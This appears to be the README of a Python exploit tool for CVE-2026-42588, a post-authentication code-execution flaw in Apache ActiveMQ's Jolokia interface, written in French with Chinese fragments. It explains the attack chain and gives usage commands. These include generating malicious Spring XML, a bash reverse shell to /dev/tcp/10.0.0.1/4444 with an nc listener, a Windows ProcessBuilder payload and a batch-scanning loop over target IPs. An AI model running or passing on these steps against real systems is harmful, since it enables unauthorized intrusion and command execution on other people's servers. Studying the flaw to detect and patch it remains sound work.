
Exploit RCE basé sur Python pour CVE-2026-42588 ciblant Apache ActiveMQ Jolokia. Dispose d'un mode de vérification uniquement, de la génération de XML malveillant et de la prise en charge du shell inverse, OOB et de la vérification basée sur des fichiers.
Niveau de gravité : 🔴 Élevé (CVSS 4.0 : 8.1)
Type de vulnérabilité : CWE-94 — Injection de code
Versions affectées : Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Prérequis d'exploitation : Nécessite des identifiants d'authentification Web Console (par défautadmin:admin)
CVE-2026-42588 est une vulnérabilité d'exécution de code à distance (RCE) post-authentification dans Apache ActiveMQ.
En disposant d'identifiants d'authentification Web Console, un attaquant peut appeler la méthode BrokerService.addNetworkConnector(String) via l'interface passerelle Jolokia JMX-HTTP (/api/jolokia/), y transmettre un URI de découverte masterslave:// spécialement conçu, charger un fichier de configuration XML Spring distant via le protocole xbean:, et finalement exécuter des commandes système arbitraires dans la JVM du broker ActiveMQ.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| Élément | Description |
|---|---|
| Surface d'exposition Jolokia | La Web Console ActiveMQ expose par défaut /api/jolokia/, ce qui permet d'exécuter des opérations exec sur les MBeans org.apache.activemq:* |
| Méthode dangereuse | BrokerService.addNetworkConnector(String) reçoit un URI de découverte et l'analyse |
| Chaîne de déclenchement URI | Le paramètre brokerConfig du protocole masterslave:// est contrôlable et, combiné au schéma xbean:, déclenche le chargement du contexte Spring |
| Point de déclenchement RCE | XBeanBrokerFactory utilise ResourceXmlApplicationContext pour charger le XML distant ; Spring instancie tous les beans singleton avant même la validation de la configuration |
| Plage de versions | Statut |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Affecté |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Affecté |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Corrigé |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Corrigé |
/api/jolokia/ doit être accessible à l'attaquant (port par défaut 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| Fichier | Utilisation |
|---|---|
CVE-2026-42588_EXP.py | Script d'exploitation Python, prend en charge le mode détection (--check-only) et le mode génération de XML (--gen-xml) |
malicious.xml | Modèle de configuration XML Spring malveillant, incluant deux méthodes d'exploitation : Runtime.exec() et ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Démarrez un service HTTP sur la machine de l'attaquant :
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. Génération du XML malveillant sur la machine de l'attaquant :
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Hébergement du XML et démarrage de l'écoute :
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. Déclenchement de la vulnérabilité :
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Génération du XML malveillant pour Windows :
Modifiez la commande ProcessBuilder dans malicious.xml comme suit :
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Hébergement et exécution :
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done